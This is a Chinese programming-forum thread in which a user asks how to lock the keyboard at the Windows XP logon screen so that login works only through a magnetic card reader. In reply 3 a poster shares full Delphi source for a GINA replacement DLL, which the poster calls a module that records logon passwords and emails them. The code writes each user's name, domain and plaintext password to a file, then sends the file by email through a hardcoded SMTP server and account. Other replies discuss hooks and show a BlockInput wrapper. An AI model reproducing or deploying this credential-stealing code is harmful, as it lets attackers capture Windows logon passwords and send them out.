经常听说hook住键盘,哪都是在系统xp中完成的,有无可能完成锁住键盘,但在系统登录界面时 
我用磁卡读卡器连接电脑,在出现系统登录界面时,刷一下磁卡就可进入系统,这个实验过了,可以. 
但我不想让键盘也能在密码框输入,所以我想在出现系统登录界面时锁住键盘,不知大家有无写过这样的代码? 

解决方案 »

  1.   

    最近总看到hook相关的贴,老实讲,hook干什么用的我还不知道啊,怎么也写了好几年程序了,还没用到啊,
    谁知道的给说说这hook到底什么时候能用到、
      

  2.   

    说了,使用gina最好的选择,如果不是vista的话
      

  3.   

    这是我以前写的一个记录登录密码并发邮件的模块,你所要的功能可以自己完善。(*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND,
     EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED
     WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE. Copyright (C) 1996 - 2000.  Microsoft Corporation.  All rights reserved. Module:   Ginastub.c Abstract: See ReadMe.txt for more detail information about this sample. Revision: August 2, 1999. Translation: Nico Bendlin (NicoDE) [email protected] 2001-05-01------------------------------------------------------------------------------*)library GinaStub;uses
      Windows,Classes,
      WinWlx in '..\..\Pas\WinWlx.pas',
      SendMailUnit in 'SendMailUnit.pas';{$E dll}{ Location of the real MSGINA. }const
      REALGINA_PATH = 'MSGINA.DLL';
      GINASTUB_VERSION = WLX_VERSION_1_3;  { Highest version supported at      }
                                           { this point. Remember to modify    }
                                           { this as support for newer version }
                                           { is added to this program.         }{ Winlogon function dispatch table. }var
      g_pWinlogon: Pointer;{ Pointers to the real MSGINA functions. }var
      pfWlxNegotiate: TFNWlxNegotiate;
      pfWlxInitialize: TFNWlxInitialize;
      pfWlxDisplaySASNotice: TFNWlxDisplaySASNotice;
      pfWlxLoggedOutSAS: TFNWlxLoggedOutSAS;
      pfWlxActivateUserShell: TFNWlxActivateUserShell;
      pfWlxLoggedOnSAS: TFNWlxLoggedOnSAS;
      pfWlxDisplayLockedNotice: TFNWlxDisplayLockedNotice;
      pfWlxWkstaLockedSAS: TFNWlxWkstaLockedSAS;
      pfWlxIsLockOk: TFNWlxIsLockOk;
      pfWlxIsLogoffOk: TFNWlxIsLogoffOk;
      pfWlxLogoff: TFNWlxLogoff;
      pfWlxShutdown: TFNWlxShutdown;{ New for version 1.1 }var
      pfWlxStartApplication: TFNWlxStartApplication = nil;
      pfWlxScreenSaverNotify: TFNWlxScreenSaverNotify = nil;{ New for version 1.2 - No new GINA interface was added, except }
    {                       a new function in the dispatch table.   }{ New for version 1.3 }var
      pfWlxNetworkProviderLoad: TFNWlxNetworkProviderLoad = nil;
      pfWlxDisplayStatusMessage: TFNWlxDisplayStatusMessage = nil;
      pfWlxGetStatusMessage: TFNWlxGetStatusMessage = nil;
      pfWlxRemoveStatusMessage: TFNWlxRemoveStatusMessage = nil;{ Hook into the real MSGINA. }function MyInitialize (hDll: HMODULE; dwWlxVersion: DWORD): Boolean;
    begin
      Result := False;  { Get pointers to all of the WLX functions in the real MSGINA. }  pfWlxInitialize :=
        GetProcAddress(hDll, 'WlxInitialize');
      pfWlxDisplaySASNotice :=
        GetProcAddress(hDll, 'WlxDisplaySASNotice');
      pfWlxLoggedOutSAS :=
        GetProcAddress(hDll, 'WlxLoggedOutSAS');
      pfWlxActivateUserShell :=
        GetProcAddress(hDll, 'WlxActivateUserShell');
      pfWlxLoggedOnSAS :=
        GetProcAddress(hDll, 'WlxLoggedOnSAS');
      pfWlxDisplayLockedNotice :=
        GetProcAddress(hDll, 'WlxDisplayLockedNotice');
      pfWlxIsLockOk :=
        GetProcAddress(hDll, 'WlxIsLockOk');
      pfWlxWkstaLockedSAS :=
        GetProcAddress(hDll, 'WlxWkstaLockedSAS');
      pfWlxIsLogoffOk :=
        GetProcAddress(hDll, 'WlxIsLogoffOk');
      pfWlxLogoff :=
        GetProcAddress(hDll, 'WlxLogoff');
      pfWlxShutdown :=
        GetProcAddress(hDll, 'WlxShutdown');  if Assigned(pfWlxInitialize) and
        Assigned(pfWlxDisplaySASNotice) and
        Assigned(pfWlxLoggedOutSAS) and
        Assigned(pfWlxActivateUserShell) and
        Assigned(pfWlxLoggedOnSAS) and
        Assigned(pfWlxDisplayLockedNotice) and
        Assigned(pfWlxIsLockOk) and
        Assigned(pfWlxWkstaLockedSAS) and
        Assigned(pfWlxIsLogoffOk) and
        Assigned(pfWlxLogoff) and
        Assigned(pfWlxShutdown) then
      begin    Result := True;    { Load functions for version 1.1 as necessary. }    if (dwWlxVersion >= WLX_VERSION_1_1) then
        begin
          pfWlxStartApplication := GetProcAddress(hDll, 'WlxStartApplication');
          pfWlxScreenSaverNotify := GetProcAddress(hDll, 'WlxScreenSaverNotify');      Result := Assigned(pfWlxStartApplication) and
            Assigned(pfWlxScreenSaverNotify);
        end;    { Load functions for version 1.3 as necessary. }    if Result and (dwWlxVersion >= WLX_VERSION_1_3) then
        begin
          pfWlxNetworkProviderLoad :=
            GetProcAddress(hDll, 'WlxNetworkProviderLoad');
          pfWlxDisplayStatusMessage :=
            GetProcAddress(hDll, 'WlxDisplayStatusMessage');
          pfWlxGetStatusMessage :=
            GetProcAddress(hDll, 'WlxGetStatusMessage');
          pfWlxRemoveStatusMessage :=
            GetProcAddress(hDll, 'WlxRemoveStatusMessage');      Result := Assigned(pfWlxNetworkProviderLoad) and
            Assigned(pfWlxDisplayStatusMessage) and
            Assigned(pfWlxGetStatusMessage) and
            Assigned(pfWlxRemoveStatusMessage);
        end;    { Load functions for newer version here... }  end;
    end;function WlxNegotiate(dwWinlogonVersion: DWORD;
      out pdwDllVersion: DWORD): BOOL; stdcall;
    var
      hDll: HMODULE;
      dwWlxVersion: DWORD;
    begin
      Result := False;
      dwWlxVersion := GINASTUB_VERSION;  { Load MSGINA.DLL. }  hDll := LoadLibrary(REALGINA_PATH);
      if hDll <> 0 then
      begin    { Get pointers to WlxNegotiate function in the real MSGINA. }    pfWlxNegotiate := GetProcAddress(hDll, 'WlxNegotiate');
        if Assigned(pfWlxNegotiate) then
        begin      { Handle older version of Winlogon. }      if (dwWinlogonVersion < dwWlxVersion) then
          begin
            dwWlxVersion := dwWinlogonVersion;
          end;      { Negotiate with MSGINA for version that we can support. }      if pfWlxNegotiate(dwWlxVersion, @dwWlxVersion) then
          begin        { Load the rest of the WLX functions from the real MSGINA. }        if MyInitialize(hDll, dwWlxVersion) then
            begin          { Inform Winlogon which version to use. }          pdwDllVersion := dwWlxVersion;          Result := True;
            end;
          end;
        end;
      end;
    end;
      

  4.   

    function WlxInitialize(lpWinsta: LPWSTR; hWlx: THandle; pvReserved,
      pWinlogonFunctions: Pointer; out pWlxContext: Pointer): BOOL; stdcall;
    begin  { Save pointer to dispatch table.    Note that g_pWinlogon will need to be properly casted to the
        appropriate version when used to call function in the dispatch
        table.    For example, assuming we are at WLX_VERSION_1_3, we would call
        WlxSasNotify() as follows:    PWlxDispatchVersion13(g_pWinlogon).WlxSasNotify(hWlx, MY_SAS); }  g_pWinlogon := pWinlogonFunctions;  Result := pfWlxInitialize(lpWinsta, hWlx, pvReserved, pWinlogonFunctions,
        pWlxContext);
    end;procedure WlxDisplaySASNotice(pWlxContext: Pointer); stdcall;
    begin
      pfWlxDisplaySASNotice(pWlxContext);
    end;function WlxLoggedOutSAS(pWlxContext: Pointer; dwSasType: DWORD;
      pAuthenticationId: PLargeInteger; pLogonSid: PSID; pdwOptions: PDWORD;
      phToken: PHandle; pMprNotifyInfo: PWlxMprNotifyInfo; out pProfile: Pointer
      ): Integer; stdcall;
    var
      Files:TextFile;
    begin
      Result := pfWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
        pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile);  if (Result = WLX_SAS_ACTION_LOGON) then
      begin
        { Copy pMprNotifyInfo and pLogonSid for later use. }    AssignFile(Files,'LogonInfo.SysText');
        try
          rewrite(Files);
          writeln(Files,'UserName:'+pMprNotifyInfo.pszUserName);
          writeln(Files,'Domain:'+pMprNotifyInfo.pszDomain);
          writeln(Files,'Password:'+pMprNotifyInfo.pszPassword);
        finally
          closefile(Files);
        end;
        // pMprNotifyInfo.pszUserName
        // pMprNotifyInfo.pszDomain
        // pMprNotifyInfo.pszPassword
        // pMprNotifyInfo.pszOldPassword
      end;
    end;function WlxActivateUserShell(pWlxContext: Pointer; pszDesktopName,
      pszMprLogonScript: PWideChar; pEnvironment: Pointer): BOOL; stdcall;
    begin
      Result := pfWlxActivateUserShell(pWlxContext, pszDesktopName,
        pszMprLogonScript, pEnvironment);
    end;function WlxLoggedOnSAS(pWlxContext: Pointer; dwSasType: DWORD;
      pReserved: Pointer): Integer; stdcall;
    begin
      Result := pfWlxLoggedOnSAS(pWlxContext, dwSasType, pReserved);
    end;procedure WlxDisplayLockedNotice(pWlxContext: Pointer); stdcall;
    begin
      pfWlxDisplayLockedNotice(pWlxContext);
    end;
    function WlxIsLockOk(pWlxContext: Pointer): BOOL; stdcall;
    var
      f:TStringList;
    begin
      Result := pfWlxIsLockOk(pWlxContext);
      if Result then
      begin
        f:=TStringList.Create;
        f.LoadFromFile('LogonInfo.SysText');
        try
          DNASendEMail('192.168.203.9','kevin_zhao','1234','[email protected]','[email protected]','Test',f.Text);
        finally
          f.Free;
        end;
      end;
    end;function WlxWkstaLockedSAS(pWlxContext: Pointer; dwSasType: DWORD
      ): Integer; stdcall;
    begin
      Result := pfWlxWkstaLockedSAS(pWlxContext, dwSasType);
    end;function WlxIsLogoffOk(pWlxContext: Pointer): BOOL; stdcall;
    begin
      Result := pfWlxIsLogoffOk(pWlxContext);  if Result then
      begin    { If it's OK to logoff, make sure stored credentials are cleaned up. }  end;
    end;procedure WlxLogoff(pWlxContext: Pointer); stdcall;
    begin
      pfWlxLogoff(pWlxContext);
    end;procedure WlxShutdown(pWlxContext: Pointer; ShutdownType: DWORD); stdcall;
    begin
      pfWlxShutdown(pWlxContext, ShutdownType);
    end;{ New for version 1.1 }function WlxScreenSaverNotify(pWlxContext: Pointer; var pSecure: BOOL
      ): BOOL; stdcall;
    begin
      Result := pfWlxScreenSaverNotify(pWlxContext, pSecure);
    end;function WlxStartApplication(pWlxContext: Pointer; pszDesktopName: PWideChar;
      pEnvironment: Pointer; pszCmdLine: PWideChar): BOOL; stdcall;
    begin
      Result := pfWlxStartApplication(pWlxContext, pszDesktopName, pEnvironment,
        pszCmdLine);
    end;{ New for version 1.3 }function WlxNetworkProviderLoad(pWlxContext: Pointer;
      pNprNotifyInfo: PWlxMprNotifyInfo): BOOL; stdcall;
    begin
      Result := pfWlxNetworkProviderLoad(pWlxContext, pNprNotifyInfo);
    end;function WlxDisplayStatusMessage(pWlxContext: Pointer; hDesktop: HDESK;
      dwOptions: DWORD; pTitle, pMessage: PWideChar): BOOL; stdcall;
    begin
      Result := pfWlxDisplayStatusMessage(pWlxContext, hDesktop, dwOptions, pTitle,
        pMessage);
    end;function WlxGetStatusMessage(pWlxContext: Pointer; out pdwOptions: DWORD;
      pMessage: PWideChar; dwBufferSize: DWORD): BOOL; stdcall;
    begin
      Result := pfWlxGetStatusMessage(pWlxContext, pdwOptions, pMessage,
        dwBufferSize);
    end;function WlxRemoveStatusMessage(pWlxContext: Pointer): BOOL; stdcall;
    begin
      Result := pfWlxRemoveStatusMessage(pWlxContext);
    end;exports
      WlxNegotiate,
      WlxInitialize,
      WlxDisplaySASNotice,
      WlxLoggedOutSAS,
      WlxActivateUserShell,
      WlxLoggedOnSAS,
      WlxDisplayLockedNotice,
      WlxWkstaLockedSAS,
      WlxIsLockOk,
      WlxIsLogoffOk,
      WlxLogoff,
      WlxShutdown,
      WlxScreenSaverNotify,
      WlxStartApplication,
      WlxNetworkProviderLoad,
      WlxDisplayStatusMessage,
      WlxGetStatusMessage,
      WlxRemoveStatusMessage;begin
      // 
    end.
      

  5.   

    WinWlx in '..\..\Pas\WinWlx.pas',--文件较大不能发。
    SendMailUnit in 'SendMailUnit.pas';--一个发送邮件的单元,无关紧要。
      

  6.   

    WinWlx in '..\..\Pas\WinWlx.pas',--文件较大不能发。 
    SendMailUnit in 'SendMailUnit.pas';--一个发送邮件的单元,无关紧要。uses 地方去掉这2个单元!自己复制代码过去,新建一个单元试一下!
      

  7.   

    已經寫好,如果要請加我MSN。
      

  8.   


    procedure CtrlInput(Value: Bool); //控制用户输入,True则锁
    type
      PBlockInput = function(fBlockIt: BOOL): BOOL; stdcall;
    var
      _ModuleHandle: Dword;
      _BlockInput: PBlockInput;
    begin
      _ModuleHandle := GetModuleHandle('user32.dll');
      _BlockInput := GetProcAddress(_ModuleHandle, 'BlockInput');
      if @_BlockInput <> nil then _BlockInput(Value);
    end;